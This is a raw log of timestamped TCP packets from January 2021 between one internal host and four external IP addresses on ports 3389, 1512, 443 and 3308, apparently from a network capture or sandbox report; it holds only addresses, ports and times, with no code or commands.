Jan 11, 2021 20:49:11.427050114 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.427164078 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.428680897 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.482532024 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.504122972 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.504179001 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.504271984 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.517930031 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.577455044 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.577756882 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.587893009 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.588038921 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.641899109 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.642164946 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.684083939 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.696305990 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.696358919 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.786501884 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.786561012 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.786756039 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.792273045 CET	49327	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:11.845891953 CET	3389	49327	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:11.903372049 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:11.956376076 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:11.956485033 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:11.958132982 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.010790110 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.018999100 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.019042969 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.019099951 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.030515909 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.084541082 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.084711075 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.094434977 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.094567060 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.211671114 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.211927891 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.247735977 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.264899969 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.368772984 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.368828058 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.368957996 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.371447086 CET	49328	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:12.424184084 CET	1512	49328	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:12.480411053 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.533174038 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.533519983 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.535072088 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.587496042 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.602010012 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.602247953 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.618971109 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.673682928 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.673962116 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.684052944 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.684374094 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.736896038 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.737191916 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.789838076 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.789866924 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.908373117 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.908431053 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:12.908672094 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.912997961 CET	49329	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:12.965286970 CET	443	49329	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:13.025310040 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.068758011 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.068892956 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.070288897 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.113441944 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.124299049 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.124341965 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.124403954 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.124456882 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.141793966 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.187283993 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.187537909 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.197706938 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.198040962 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.241281033 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.241523027 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.281485081 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.284738064 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.284786940 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.408417940 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.408474922 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.408590078 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.408646107 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.412081003 CET	49330	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:13.455245972 CET	3308	49330	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:13.524482965 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.578107119 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.578207970 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.579005957 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.632417917 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.647089958 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.647145033 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.647243023 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.647293091 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.659174919 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.721009970 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.721174955 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.726419926 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.726466894 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.781462908 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.781693935 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.825551987 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.837054014 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.837080002 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.926475048 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.926526070 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:13.926625013 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.926682949 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.929706097 CET	49331	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:13.983831882 CET	3389	49331	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:14.043128967 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.096077919 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.096195936 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.097691059 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.150876999 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.157702923 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.157752037 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.157867908 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.157907009 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.171355009 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.225486994 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.225770950 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.235786915 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.236145020 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.289031029 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.289392948 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.327719927 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.342364073 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.446427107 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.446484089 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.446562052 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.451046944 CET	49332	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:14.503758907 CET	1512	49332	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:14.571288109 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.623250008 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.623429060 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.624983072 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.676846027 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.691394091 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.691584110 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.707923889 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.761949062 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.762290955 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.776149988 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.776345968 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.828124046 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.828344107 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:14.867258072 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.880139112 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.998577118 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.998596907 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:14.998672009 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:15.002444029 CET	49333	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:15.054140091 CET	443	49333	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:15.112704992 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.156250954 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.156380892 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.158031940 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.201353073 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.213465929 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.213511944 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.213628054 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.229649067 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.275815964 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.276146889 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.286438942 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.286616087 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.329833031 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.330120087 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.369014025 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.373548985 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.373588085 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.486622095 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.486680031 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.486963987 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.492675066 CET	49334	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:15.535998106 CET	3308	49334	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:15.601075888 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.655622005 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:15.655736923 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.657197952 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.711412907 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:15.735214949 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:15.735280037 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:15.735358000 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.735405922 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.748864889 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.808767080 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:15.808845997 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.813446999 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.813584089 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.867849112 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:15.867968082 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:15.907171965 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:15.922095060 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:15.922199011 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:16.011979103 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:16.012010098 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:16.012283087 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:16.015966892 CET	49335	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:16.069725037 CET	3389	49335	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:16.131557941 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.184489012 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.184586048 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.186346054 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.239047050 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.246141911 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.246179104 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.246318102 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.263418913 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.317657948 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.317935944 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.328120947 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.328476906 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.381608963 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.381938934 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.420352936 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.435033083 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.538574934 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.538623095 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.538855076 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.544559956 CET	49336	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:16.597560883 CET	1512	49336	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:16.661784887 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.714087009 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:16.714196920 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.715886116 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.768014908 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:16.782727003 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:16.782834053 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.799772024 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.854238987 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:16.854437113 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.859354973 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.859496117 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.911665916 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:16.911971092 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:16.951518059 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:16.964443922 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:17.083054066 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:17.083115101 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:17.083431005 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:17.089000940 CET	49337	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:17.141305923 CET	443	49337	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:17.205209017 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.248811007 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.248923063 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.250509977 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.293678999 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.307734013 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.307773113 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.307852983 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.307908058 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.321691990 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.367520094 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.367775917 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.378081083 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.378441095 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.421720982 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.422029972 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.462105036 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.465192080 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.465233088 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.577953100 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.577974081 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.578162909 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.583646059 CET	49338	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:17.626740932 CET	3308	49338	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:17.706943035 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.761584997 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:17.761713982 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.763288975 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.817462921 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:17.845777035 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:17.845824003 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:17.845880032 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.845931053 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.859962940 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.922513962 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:17.922863960 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.932934999 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.933053017 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:17.987382889 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:17.987618923 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:18.027121067 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:18.042062044 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:18.042102098 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:18.132813931 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:18.132847071 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:18.133507967 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:18.135176897 CET	49339	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:18.189501047 CET	3389	49339	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:18.250755072 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.303884983 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.303993940 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.305579901 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.358617067 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.365777016 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.365822077 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.365869045 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.365905046 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.383842945 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.438366890 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.438556910 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.447910070 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.448174000 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.501297951 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.501563072 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.540029049 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.554800034 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.554883003 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.655376911 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.655421972 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.655591965 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.661128998 CET	49340	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:18.714215994 CET	1512	49340	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:18.787966967 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:18.840060949 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:18.840177059 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:18.841664076 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:18.893445969 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:18.908240080 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:18.908353090 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:18.926866055 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:18.981247902 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:18.981533051 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:18.990570068 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:18.990797997 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:19.042905092 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:19.043199062 CET	49341	443	192.168.2.22	77.220.64.37
